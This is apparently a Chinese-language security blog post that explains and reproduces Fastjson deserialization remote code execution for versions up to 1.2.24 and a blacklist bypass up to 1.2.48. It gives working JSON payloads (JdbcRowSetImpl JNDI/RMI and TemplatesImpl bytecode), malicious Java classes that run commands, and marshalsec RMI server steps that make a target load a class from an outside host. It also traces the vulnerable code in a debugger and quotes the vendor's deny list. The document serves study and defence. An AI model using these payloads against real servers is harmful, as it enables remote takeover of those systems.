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  • fastjson反序列化漏洞原理及利用

    重要漏洞利用poc及版本

    我是从github上的参考中直接copyexp,这个类就是要注入的类

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class Exploit {
    
        public Exploit() {
            try{
                // 要执行的命令
                String commands = "calc.exe";
                Process pc = Runtime.getRuntime().exec(commands);
                pc.waitFor();
            } catch(Exception e){
                e.printStackTrace();
            }
    
        }
    
        public static void main(String[] argv) {
            Exploit e = new Exploit();
        }
    
    }
    
    网上经常分析的17年的一个远程代码执行漏洞

    适用范围 版本 <= 1.2.24

    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
    
    FastJson最新爆出的绕过方法

    适用范围 版本 <= 1.2.48

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
    

    预备知识

    使用spring boot来搭建本次的环境,这样对java的版本和fastjson版本的修改十分的轻松,选取的依赖如下

    使用的是fastjson 1.2.24版本

    写一个像javabean一样作用的类

    这里直接用参考的一篇freebuf上的代码了,作用很简单,设置了ageusername的设置和读取,secret的读取

    package com.fastjson.demo;
    
    class Demo2User {
        private int age;
        public String username;
        private String secret;
        public int getAge() {
            return age;
        }
        public void setAge(int age) {
            this.age = age;
        }
        public String getUsername() {
            return username;
        }
        public void setUsername(String username) {
            this.username = username;
        }
        public String getSecret() {
            return secret;
        }
        @Override
        public String toString() {
            return this.age + "," + this.username + "," + this.secret;
        }
    }
    
    fastjson的工作形式

    fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据转换成json数据进行传输,有点类似序列化的操作

    首先介绍下序列化操作和反序列化操作需要的函数

    函数 作用
    JSON.toJSONString(Object) 将对象序列化成json格式
    JSON.toJSONString(Object,SerializerFeature.WriteClassName) 将对象序列化成json格式,并且记录了对象所属的类的信息
    JSON.parse(Json) json格式返回为对象(但是反序列化类对象没有@Type时会报错)
    JSON.parseObject(Json) 返回对象是com.alibaba.fastjson.JSONObject
    JSON.parseObject(Json, Object.class) 返回对象会根据json中的@Type来决定
    JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); 会把Json数据对应的类中的私有成员也给还原

    对应测试的例子,代码如下

    public class Demo2test1 {
        public static void main(String[] args){
            Demo2User demo2User = new Demo2User();
            demo2User.setAge(10);
            demo2User.setUsername("sijidou");
            String ser1 = JSON.toJSONString(demo2User);
            System.out.println(ser1);
            String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
            System.out.println(ser2);
            System.out.println("==========完美的分割线============");
            Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
            System.out.println(demo2User1);
            Object demo2User2 = JSON.parseObject(ser2);
            System.out.println(demo2User2.getClass().getName());
            Object demo2User3 = JSON.parseObject(ser2, Object.class);
            System.out.println(demo2User3);
            Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
            System.out.println(demo2User4);
        }
    }
    

    可以从上面简单的函数介绍中看出,对于序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便

    而从json反序列回来,一般用JSON.parseObject()来实现

    漏洞利用

    对于 fastjson版本 <= 1.2.24的情况,利用思路主要有2种

    • 通过触发点JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达到命令执行
    • 通过JNDI注入

    利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

    首选准备好poc,也就是之后会装到_bytecodes里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class文件

    package com.fastjson.demo;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class poc extends AbstractTranslet {
    
        public poc() throws IOException {
            Runtime.getRuntime().exec("calc.exe");
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
        @Override
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    
        }
    
        public static void main(String[] args) throws Exception {
            poc t = new poc();
        }
    }
    

    拿到这个文件,将其内容进行base64编码,我拿vulhub上用php写的exploit.php改了改

    <?php
    $bytes = file_get_contents('poc.class');
    $json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
    echo $json;
    

    同目录下运行

    准备下接受的代码,我从vulhub上的fastjson项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson的序列化

    public class Demo3{
        public void init()
        {
            get("/", (req, res) -> "Hello World");
            post("/", (request, response) -> {
                String data = request.body();
                JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
                return "122";
            });
        }
    
        public static void main(String[] args)
        {
            Demo3 i = new Demo3();
            i.init();
        }
    }
    

    运行下能够成功触发计算器

    漏洞分析

    debug跟踪下堆栈看看发生了什么

    最先肯定是传入点JSON.parseObject(data, Feature.SupportNonPublicField);接口,这个漏洞利用方法必须要存在Feature.SupportNonPublicField设置(即允许private对象传入)

    接下来会到JSON类中,发现JSON.parseObject()其实是调用了JSON.parse()

    下一步会进到这个函数里,是对可控长度变量的分析,这里也就是Feature.SupportNonPublicField的开启识别

    调用parse(String text, int features),继续执行parser.parse()接口

    之后进入DeafultJSONParser.java通过switch判断,进入到LBRACE

    继续跟进会调用deserializer.deserialze(this, clazz, fieldName)

    进入了JavaBeanDeserializer.java中,这段主要是进行反序列化操作了

    之后会进入到DefaultFieldDeserializer.java中调用setValue来设置参数了

    设置参数是会调用FieldDeserializer.java中的setValue,已经可以看到Method方法,标志着这里触发反射

    前面的参数会不满足if(method != null)的判断,到outputProperties的时候,因为它是个类,存在method,于是进入if分支

    最终到了触发点,invoke

    单步跟踪2次,是对_bytecodes中的base64,对应的.class文件中的类进行还原,然后触发构造函数中的代码执行,触发计算器

    这里单步跟踪2次时候没有任何反应,之后发现是没对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类没进行下载,并且没有进行下断点.....

    那么在这个点继续跟进,首先仔细看上面反射调用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

    TemplatesImpl类里面对getOutputProperties()下断点

    继续跟踪newTransformer()方法,看名字就是新生成一个Transformer

    在第486行调用了getTransletInstance()方法,之后进入getTransletInstance()方法中

    因为我们精心构造的exp里面没有__class成员变量,所以会触发defineTransletClasses()方法,跟进

    进入后是对 _bytecodes字段进行base64解码后还原这个class,之后就出来回到了getTransletInstance()

    可以看到455行的translet被赋值成class.com.fastjson.demo.poc也就是我们构造的的poc类,在456行进行初始化的时候,触发代码执行

    通过jndi注入

    jndi是一个Java命令和目录接口,举个例子,通过jndi进行数据库操作,无需知道它数据库是mysql还是ssql,还是MongoDB等,它会自动识别。

    当然rmi也可以通过jndi实现,rmi的作用相当于在服务器上创建了类的仓库的api,客户端只用带着参数去请求,服务器进行一系列处理后,把运算后的参数还回来。

    这里漏洞利用要明确思路:

    攻击者在本地启一个rmi的服务器,上面挂上恶意的payload

    让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向我们的rmi服务器上的恶意payload

    利用方法

    在本地挂上恶意代码执行的类,本地复现到了实际中又因为要公网ip所以要重新部署,所以我这里就直接把恶意的Exprmi服务器都放在vps上了

    准备Exp

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class Exp {
    
        public Exp() {
            try{
                // 要执行的命令
                String commands = "calc";
                Process pc = Runtime.getRuntime().exec(commands);
                pc.waitFor();
            } catch(Exception e){
                e.printStackTrace();
            }
    
        }
    
        public static void main(String[] argv) {
            Exp e = new Exp();
        }
    
    }
    
    

    编译一下

    javac Exp.java
    

    在本地启动rmi服务器,这里推荐github上的一个项目marshalsec

    https://github.com/mbechler/marshalsec

    需要用maven进行生成jar包,进入marshalsec目录后

    git clone https://github.com/mbechler/marshalsec.git
    cd marshalse
    mvn clean package -Dmaven.test.skip=true
    

    之后使用过的是这个包,可以移动到仍意目录都可以

    接下来就是启动rmi服务器了,这里要做2个步骤

    第一使用python的SimpleHTTPServer模块在刚刚编译好的Exp.class目录下开一个web服务

    python -m SimpleHTTPServer 8000
    

    访问下网页是能看到的

    之后利用marshalsec,启动rmi服务,再开一个shell

     java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://mi0.xyz:8000/#Exp
    

    万事已经准备好了,接下来只要在被攻击的目标(这里是本机)发送python进JSON.parse()就会触发

    import com.alibaba.fastjson.JSON;
    
    public class poc {
        public static void main(String[] args) throws Exception {
            String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://134.175.147.161:1099/Exp","autoCommit":true}";
            JSON.parse(payload);
        }
    }
    

    成功弹出计算器

    之前一直尝试不成功,改了下jre的版本为1.8_102能够触发

    1.2.25之后修复方案

    在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)过滤的函数

    注意其中的这一段,如果类的名字开头在deny名单里面,就直接抛出错误了

    看看denyList的名单

     private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");    
    

    最新fastjson绕过黑名单REC

    • 此次漏洞危害范围是fastjson <= 1.2.48

    vps上的准备方法和上面讲到的jndi注入是一样的,唯一的区别在于发送的payload不同,以下payload可以绕过黑名单校验

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
    

    实现原理是利将JdbcRowSetImpl类加入到mappings的缓存,在JdbcRowSetImpl类进入黑名单过滤之前,fastjson会先看缓存里面有没有这个类,有的话,就直接返回了。也就是没有走进黑名单过滤,就结束了check

    我们把上面的payload发送到fastjson 1.2.25版本中,走到了checkAutoType()的位置

    进入函数,很明显java.lang.Class不在黑名单内

    顺利通过

    接下来会加载java.lang.Class

    跟进之后,在这里把JdbcRowSetImpl类付给了objVal变量

    在这里将刚刚objVal的值赋值给了strVal

    接下来调用了loadClass

    跟进loadClass,首先查看JdbcRowSetImpl类是不是在mappings

    这里当然是不在的,因此把JdbcRowSetImpl类加入到该mappings

    之后在回到对JdbcRowSetImpl类的检验地方了

    跟进进入,到这里会根据类名从mapping中取出对象,很明显,刚刚是把JdbcRowSetImpl类是加入到mappings中的,因此是可以取出来

    之后会根据取出的值是否为null进行判断,通过下图,已经看到在黑名单前,就返回了

    之后可以看到类JdbcRowSetImpl已经过了该限制了

    打一波,成功触发

    参考链接

    https://www.freebuf.com/vuls/178012.html

    https://www.cnblogs.com/mrchang/p/6789060.html

    https://www.cnblogs.com/hac425/p/9800288.html

    https://xz.aliyun.com/t/5680

    https://www.jianshu.com/p/2bc43d16a3a6

    https://github.com/JoyChou93/java-sec-code/wiki/Fastjson

    https://cloud.tencent.com/developer/article/1468779

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